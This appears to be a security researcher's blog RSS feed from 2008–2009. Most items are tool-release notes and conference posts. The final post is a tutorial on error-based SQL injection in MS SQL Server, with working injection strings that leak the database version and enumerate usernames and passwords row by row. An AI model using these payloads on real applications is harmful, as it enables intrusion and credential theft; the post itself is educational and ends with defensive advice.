<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>cqure.net</title>
	<atom:link href="http://www.cqure.net/wp/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cqure.net/wp</link>
	<description></description>
	<pubDate>Tue, 19 May 2009 19:56:41 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>I&#8217;m on Twitter &#8230;</title>
		<link>http://www.cqure.net/wp/2009/05/im-on-twitter/</link>
		<comments>http://www.cqure.net/wp/2009/05/im-on-twitter/#comments</comments>
		<pubDate>Tue, 19 May 2009 19:56:41 +0000</pubDate>
		<dc:creator>Patrik Karlsson</dc:creator>
		
		<category><![CDATA[cqure.net]]></category>

		<guid isPermaLink="false">http://www.cqure.net/wp/?p=78</guid>
		<description><![CDATA[&#8230; since a while back and actually managing to post some tweets every now and then. I&#8217;m attaching a link to my profile.

]]></description>
			<content:encoded><![CDATA[<p>&#8230; since a while back and actually managing to post some tweets every now and then. I&#8217;m attaching a link to my profile.</p>
<p><a href="http://twitter.com/nevdull77"><img class="alignnone size-full wp-image-83" title="happybirds1small21" src="http://www.cqure.net/wp/wp-content/uploads/2009/05/happybirds1small21.png" alt="happybirds1small21" width="124" height="128" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cqure.net/wp/2009/05/im-on-twitter/feed/</wfw:commentRss>
		</item>
		<item>
		<title>smbat CLK_TCK patch</title>
		<link>http://www.cqure.net/wp/2009/05/smbat-clk_tck-patch/</link>
		<comments>http://www.cqure.net/wp/2009/05/smbat-clk_tck-patch/#comments</comments>
		<pubDate>Sun, 10 May 2009 14:03:41 +0000</pubDate>
		<dc:creator>Patrik Karlsson</dc:creator>
		
		<category><![CDATA[cqure.net]]></category>

		<category><![CDATA[CLK_TCK]]></category>

		<category><![CDATA[CLOCKS_PER_SEC]]></category>

		<category><![CDATA[error]]></category>

		<category><![CDATA[hacking]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[smbat]]></category>

		<category><![CDATA[testing]]></category>

		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.cqure.net/wp/?p=72</guid>
		<description><![CDATA[I must say that I am somewhat surprised that people still use the smbat suite for Windows security testing. Since I am doing most Windows testing from Windows now a days I have found myself using alternative tools instead.
I have recieved numerous of questions over time regarding compilation problems, the most common being. Why does [...]]]></description>
			<content:encoded><![CDATA[<p>I must say that I am somewhat surprised that people still use the smbat suite for Windows security testing. Since I am doing most Windows testing from Windows now a days I have found myself using alternative tools instead.</p>
<p>I have recieved numerous of questions over time regarding compilation problems, the most common being. Why does smbat fail to compile with the following error message?</p>
<blockquote><p>error: &#8216;CLK_TCK&#8217; undeclared (first use in this function)</p></blockquote>
<p>This is due to the CLK_TCK being deprecated and replaced by CLOCKS_PER_SEC. The following <a href="http://www.cqure.net/files/smbat_CLK_TCK.patch">patch</a> solves this problem. Apply it by running the following command  from within the smbat directory:</p>
<blockquote><p>patch -p1 &lt; smbat_CLK_TCK.patch</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.cqure.net/wp/2009/05/smbat-clk_tck-patch/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Extracting information from OScanner reports</title>
		<link>http://www.cqure.net/wp/2008/09/extracting-information-from-oscanner-reports/</link>
		<comments>http://www.cqure.net/wp/2008/09/extracting-information-from-oscanner-reports/#comments</comments>
		<pubDate>Mon, 22 Sep 2008 18:50:35 +0000</pubDate>
		<dc:creator>Patrik Karlsson</dc:creator>
		
		<category><![CDATA[cqure.net]]></category>

		<guid isPermaLink="false">http://www.cqure.net/wp/?p=70</guid>
		<description><![CDATA[Even though I have barely touched oscanner for the last couple of years quite a few apparently still use it as a basic scanner against Oracle. Some have complained a bit about the annoying XML reporting format. Some have complained even more, mostly about the hassle of getting any of the discovered users, passwords and [...]]]></description>
			<content:encoded><![CDATA[<p>Even though I have barely touched oscanner for the last couple of years quite a few apparently still use it as a basic scanner against Oracle. Some have complained a bit about the annoying XML reporting format. Some have complained even more, mostly about the hassle of getting any of the discovered users, passwords and version information out of the report.</p>
<p>Therefore, four years after the initial release, I am releasing two small utilities. One that extracts a semicolon separated list of the hostname, instance, username and password from a given report file. The other tool simply prints the hostname and the first line from version banner retrieved from the database.</p>
<p>Installation is simple. Download the zip file to the oscanner installation directory an unzip it. The new tools take a single argument, the oscanner logfile:</p>
<p>java cqure.repeng.ExtractVersion oscanner_localhost_report.xml<br />
java cqure.repeng.ExtractPasswords oscanner_localhost_report.xml</p>
<p>The tools are available <a href="http://www.cqure.net/files/OScannerExtract_bin_0.1.zip">here</a> and have had very little testing, so don&#8217;t expect to much <img src='http://www.cqure.net/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.cqure.net/wp/2008/09/extracting-information-from-oscanner-reports/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Preparing for sec-t</title>
		<link>http://www.cqure.net/wp/2008/08/preparing-for-sec-t/</link>
		<comments>http://www.cqure.net/wp/2008/08/preparing-for-sec-t/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 18:12:59 +0000</pubDate>
		<dc:creator>Patrik Karlsson</dc:creator>
		
		<category><![CDATA[cqure.net]]></category>

		<category><![CDATA[conference]]></category>

		<category><![CDATA[sec-t]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[Stockholm]]></category>

		<category><![CDATA[sweden]]></category>

		<guid isPermaLink="false">http://www.cqure.net/wp/?p=68</guid>
		<description><![CDATA[Unfortunately I couldn&#8217;t make Vegas this year. According to friends and the slides I have been going through it looked as if there were quite a few really good and interesting talks this year at both Blackhat and Defcon.
I will be attending the first Swedish based Sec-t security conference here in Stockholm which I think [...]]]></description>
			<content:encoded><![CDATA[<p>Unfortunately I couldn&#8217;t make Vegas this year. According to friends and the slides I have been going through it looked as if there were quite a few really good and interesting talks this year at both Blackhat and Defcon.</p>
<p>I will be attending the first Swedish based Sec-t security conference here in Stockholm which I think might actually turn out really well. It will be held between the 11th and 12th of September.</p>
<p>I will be speaking at the last slot on Friday about what administrators can do in order to reduce the impact of web application vulnerabilities ie. system and application hardening.</p>
<p>More information regarding the event is available at the official web site <a href="http://www.sec-t.org/">http://www.sec-t.org/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cqure.net/wp/2008/08/preparing-for-sec-t/feed/</wfw:commentRss>
		</item>
		<item>
		<title>OWASP - Sweden meeting</title>
		<link>http://www.cqure.net/wp/2008/05/owasp-sweden-meeting-20080527/</link>
		<comments>http://www.cqure.net/wp/2008/05/owasp-sweden-meeting-20080527/#comments</comments>
		<pubDate>Thu, 29 May 2008 18:01:53 +0000</pubDate>
		<dc:creator>Patrik Karlsson</dc:creator>
		
		<category><![CDATA[cqure.net]]></category>

		<category><![CDATA[injection]]></category>

		<category><![CDATA[meeting]]></category>

		<category><![CDATA[owasp]]></category>

		<category><![CDATA[presentation]]></category>

		<category><![CDATA[sql]]></category>

		<category><![CDATA[sweden]]></category>

		<guid isPermaLink="false">http://www.cqure.net/wp/?p=67</guid>
		<description><![CDATA[My presentation from the Swedish OWASP meeting the other day is now online.
I spoke about SQL injection (again), efficient UNION exploitation, OOB channels and DNS-tunneling in MSSql, Oracle and MySQL.
The presentation, DNS-server tool and a minimal cheat sheet can be found here.
I had a great time and enjoyed meeting friends, colleagues and listening to the [...]]]></description>
			<content:encoded><![CDATA[<p>My presentation from the Swedish OWASP meeting the other day is now online.<br />
I spoke about SQL injection (again), efficient UNION exploitation, OOB channels and DNS-tunneling in MSSql, Oracle and MySQL.</p>
<p>The presentation, DNS-server tool and a minimal cheat sheet can be found <a title="http://www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip" href="http://www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip">here</a>.<br />
I had a great time and enjoyed meeting friends, colleagues and listening to the other speaches.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cqure.net/wp/2008/05/owasp-sweden-meeting-20080527/feed/</wfw:commentRss>
		</item>
		<item>
		<title>MSSQLScan 0.8 released</title>
		<link>http://www.cqure.net/wp/2008/05/mssqlscan-08-released/</link>
		<comments>http://www.cqure.net/wp/2008/05/mssqlscan-08-released/#comments</comments>
		<pubDate>Sat, 03 May 2008 11:22:22 +0000</pubDate>
		<dc:creator>Patrik Karlsson</dc:creator>
		
		<category><![CDATA[cqure.net]]></category>

		<guid isPermaLink="false">http://www.cqure.net/wp/?p=66</guid>
		<description><![CDATA[I made some minor adjustments and bugfixes to the 0.7 release and released 0.8. MSSQLScan should now support a graceous shutdown when doing a ctrl-break and not skip hosts when running out of sockets.
Get it here.
]]></description>
			<content:encoded><![CDATA[<p>I made some minor adjustments and bugfixes to the 0.7 release and released 0.8. MSSQLScan should now support a graceous shutdown when doing a ctrl-break and not skip hosts when running out of sockets.</p>
<p>Get it <a href="http://www.cqure.net/wp/mssqlscan/">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cqure.net/wp/2008/05/mssqlscan-08-released/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New tool DBPwAudit</title>
		<link>http://www.cqure.net/wp/2008/05/new-tool-dbpwaudit/</link>
		<comments>http://www.cqure.net/wp/2008/05/new-tool-dbpwaudit/#comments</comments>
		<pubDate>Thu, 01 May 2008 17:56:11 +0000</pubDate>
		<dc:creator>Patrik Karlsson</dc:creator>
		
		<category><![CDATA[cqure.net]]></category>

		<category><![CDATA[db2]]></category>

		<category><![CDATA[guess]]></category>

		<category><![CDATA[ibm]]></category>

		<category><![CDATA[mssql]]></category>

		<category><![CDATA[mysql]]></category>

		<category><![CDATA[oracle]]></category>

		<category><![CDATA[password]]></category>

		<category><![CDATA[quality]]></category>

		<category><![CDATA[sqlserver]]></category>

		<category><![CDATA[test]]></category>

		<guid isPermaLink="false">http://www.cqure.net/wp/?p=65</guid>
		<description><![CDATA[I have released a new tool that can be used to verify password quality against several database engines. Make sure to check it out here.
]]></description>
			<content:encoded><![CDATA[<p>I have released a new tool that can be used to verify password quality against several database engines. Make sure to check it out <a href="http://www.cqure.net/wp/?page_id=64">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cqure.net/wp/2008/05/new-tool-dbpwaudit/feed/</wfw:commentRss>
		</item>
		<item>
		<title>MSSQLScan version 0.7 released</title>
		<link>http://www.cqure.net/wp/2008/05/mssqlscan-version-07-released/</link>
		<comments>http://www.cqure.net/wp/2008/05/mssqlscan-version-07-released/#comments</comments>
		<pubDate>Thu, 01 May 2008 08:42:43 +0000</pubDate>
		<dc:creator>Patrik Karlsson</dc:creator>
		
		<category><![CDATA[cqure.net]]></category>

		<category><![CDATA[discover]]></category>

		<category><![CDATA[mssql]]></category>

		<category><![CDATA[mssql2000]]></category>

		<category><![CDATA[mssql2005]]></category>

		<category><![CDATA[mssql2008]]></category>

		<category><![CDATA[nmap]]></category>

		<category><![CDATA[port scan]]></category>

		<category><![CDATA[scan]]></category>

		<category><![CDATA[test]]></category>

		<guid isPermaLink="false">http://www.cqure.net/wp/?p=63</guid>
		<description><![CDATA[I have released a new version of my MSSQLScan tool. It contains fixes for running out of sockets when scanning large networks with low timeouts and re-scheduling of unsuccesful probes.
Let me know how/if it works and please send me bug reports.
]]></description>
			<content:encoded><![CDATA[<p>I have released a new version of my MSSQLScan tool. It contains fixes for running out of sockets when scanning large networks with low timeouts and re-scheduling of unsuccesful probes.</p>
<p>Let me know how/if it works and please send me bug reports.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cqure.net/wp/2008/05/mssqlscan-version-07-released/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New blog</title>
		<link>http://www.cqure.net/wp/2008/04/new-blog/</link>
		<comments>http://www.cqure.net/wp/2008/04/new-blog/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 21:06:32 +0000</pubDate>
		<dc:creator>Patrik Karlsson</dc:creator>
		
		<category><![CDATA[cqure.net]]></category>

		<guid isPermaLink="false">http://www.cqure.net/wp/?p=62</guid>
		<description><![CDATA[I have launched a new blog with &#8220;random thoughts about random things&#8221; &#8230; The reason why I&#8217;m launching a new site when barely keeping up with this one is that I want to keep this one security oriented while the new one a bit more &#8220;random&#8221;. The new blog can be found here http://patrik.cqure.net.
I&#8217;m guessing [...]]]></description>
			<content:encoded><![CDATA[<p>I have launched a new blog with &#8220;random thoughts about random things&#8221; &#8230; The reason why I&#8217;m launching a new site when barely keeping up with this one is that I want to keep this one security oriented while the new one a bit more &#8220;random&#8221;. The new blog can be found here <a href="http://patrik.cqure.net">http://patrik.cqure.net</a>.</p>
<p>I&#8217;m guessing we might have to outdated blogs in a couple of weeks <img src='http://www.cqure.net/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.cqure.net/wp/2008/04/new-blog/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Simplifying enumeration by error messages</title>
		<link>http://www.cqure.net/wp/2007/11/simplifying-enumeration-by-error-messages/</link>
		<comments>http://www.cqure.net/wp/2007/11/simplifying-enumeration-by-error-messages/#comments</comments>
		<pubDate>Wed, 28 Nov 2007 20:30:06 +0000</pubDate>
		<dc:creator>Patrik Karlsson</dc:creator>
		
		<category><![CDATA[cqure.net]]></category>

		<category><![CDATA[error messages]]></category>

		<category><![CDATA[injection]]></category>

		<category><![CDATA[microsoft sql server]]></category>

		<category><![CDATA[sql]]></category>

		<category><![CDATA[sql-injection]]></category>

		<guid isPermaLink="false">http://www.cqure.net/wp/?p=61</guid>
		<description><![CDATA[I have been experimenting with SQL-injection and information enumeration through error messages for a while.
The idea was to simplify the process of extracting data so that very little application logic would be needed to perform the task. Ideally a simple 3-5 line bash-script wrapping wget or curl should do the trick.
So a short recap: In [...]]]></description>
			<content:encoded><![CDATA[<p>I have been experimenting with SQL-injection and information enumeration through error messages for a while.<br />
The idea was to simplify the process of extracting data so that very little application logic would be needed to perform the task. Ideally a simple 3-5 line bash-script wrapping wget or curl should do the trick.</p>
<p><span id="more-61"></span>So a short recap: In order to successfully extract information through error messages;<br />
- The application has to be vulnerable to SQL-injection<br />
- The web server has to return detailed error information<br />
- The vulnerable SQL-statement has to be forced into an error condition</p>
<p>The information we want to extract should be placed so that it becomes a part of the returned error.<br />
This could typically be achieved by converting varchar values to integer or numeric values eg.</p>
<p>Consider a vulnerable authentication function that concatenates the username into a template SQL statement.<br />
We manipulate the username and insert the following: <em>&#8216; OR 1=@@version &#8211;</em><br />
The resulting SQL-statement, that follows below, triggers an error condition in which the database version information is disclosed.<br />
<em>SELECT userid FROM appusers WHERE username=&#8221; OR 1=@@version &#8212; AND password=&#8221;</em></p>
<p>The error message returned by the web server is:<br />
<em>Syntax error converting the nvarchar value &#8216;Microsoft SQL Server  2000 - 8.00.760 (Intel X86)<br />
Dec 17 2002 14:22:05<br />
Copyright (c) 1988-2003 Microsoft Corporation<br />
Desktop Engine on Windows NT 5.1 (Build 2600: Service Pack 2)<br />
&#8216; to a column of data type int.</em></p>
<p>This could easily be adapted to extract any information from any table. I will not go into details about finding database columns and tables but it involves looking into the sysobjects and syscolumns tables. Let&#8217;s assume we have found the appusers table from which we would like to extract information. This time we insert the following: <em>&#8216; OR 1=(SELECT TOP 1 username+&#8217;,'+password FROM appusers) &#8211;</em></p>
<p>We end up with the following SQL-statement triggering an error condition in which the first users username and password is disclosed.<br />
<em>SELECT id FROM appusers WHERE username=&#8221; OR 1=(SELECT TOP 1 username+&#8217;,'+password FROM appusers) &#8211;</em></p>
<p>The error message returned by the server is:<br />
<em>Syntax error converting the varchar value &#8216;admin,p4ssw0rd&#8217; to a column of data type int.</em></p>
<p>In order to trigger our error condition we need to return a single row as specified by the TOP 1 statement.<br />
So, in order to enumerate 20000 rows we need to add additional conditions to our subselect. Knowing an account (admin) we could simply add: <em>WHERE username &lt;&gt; &#8216;admin&#8217;</em></p>
<p>However, this would require us to process each answer and change our statement according to it&#8217;s outcome. What we want to achieve instead is to create a simple loop from which we can ask for a specific row number eg. 1 followed by 2, 3, 4, etc. This could easily be performed if our primary key is a numeric value in a non broken serie but not if our key is a GUID or of the data-type UNIQUEIDENTIFIER.</p>
<p>The approach I took was to stick an additional column specifying the row number to the columns I was interessted in. In our case with the appusers this would then look something like this:</p>
<p>rowno  user    password<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
1      admin   p4ssw0rd<br />
2      patrik  secret<br />
3      mattias haxxor</p>
<p>Now we could simply query for the second row in our user table in order to get my password. Adding rownumbers could probably be performed by creating a temporary table and copying data into it. In cases where the permissions are strict or we do not want to change the tested environment we need to perform the task in one go.</p>
<p>So given the layout of the appuser table the following statement would give us the table outlined above:<br />
<em>SELECT (SELECT COUNT(*) FROM appusers a2 WHERE a2.id&lt;=a1.id), username, password FROM appusers a1 </em></p>
<p>In order to exploit the application so that the error message would contain the username and password of the second row we would need to login using the following username:<br />
<em>&#8216; OR 1=(SELECT username+&#8217;,'+password FROM appusers a1 WHERE (SELECT COUNT(*) FROM appusers a2 WHERE a2.id&lt;=a1.id) = 2) &#8211;</em></p>
<p>So now we can simply ask for the next row by increasing the last number in our statement regardless of the data returned by the server.  Automating the enumeration of 20000 rows can now be done in a 3 line bash script and is left as an exercise to the reader.</p>
<p>So what can we do to restrict the possibility of mounting such an attack?<br />
1.  Perform security tests of applications prior to deploying them<br />
2.  Implement proper hardening guides and procedures for all system components<br />
3.  Educate system developers and project managers of the risks with poorly developed applications</p>
<p>/Patrik</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cqure.net/wp/2007/11/simplifying-enumeration-by-error-messages/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
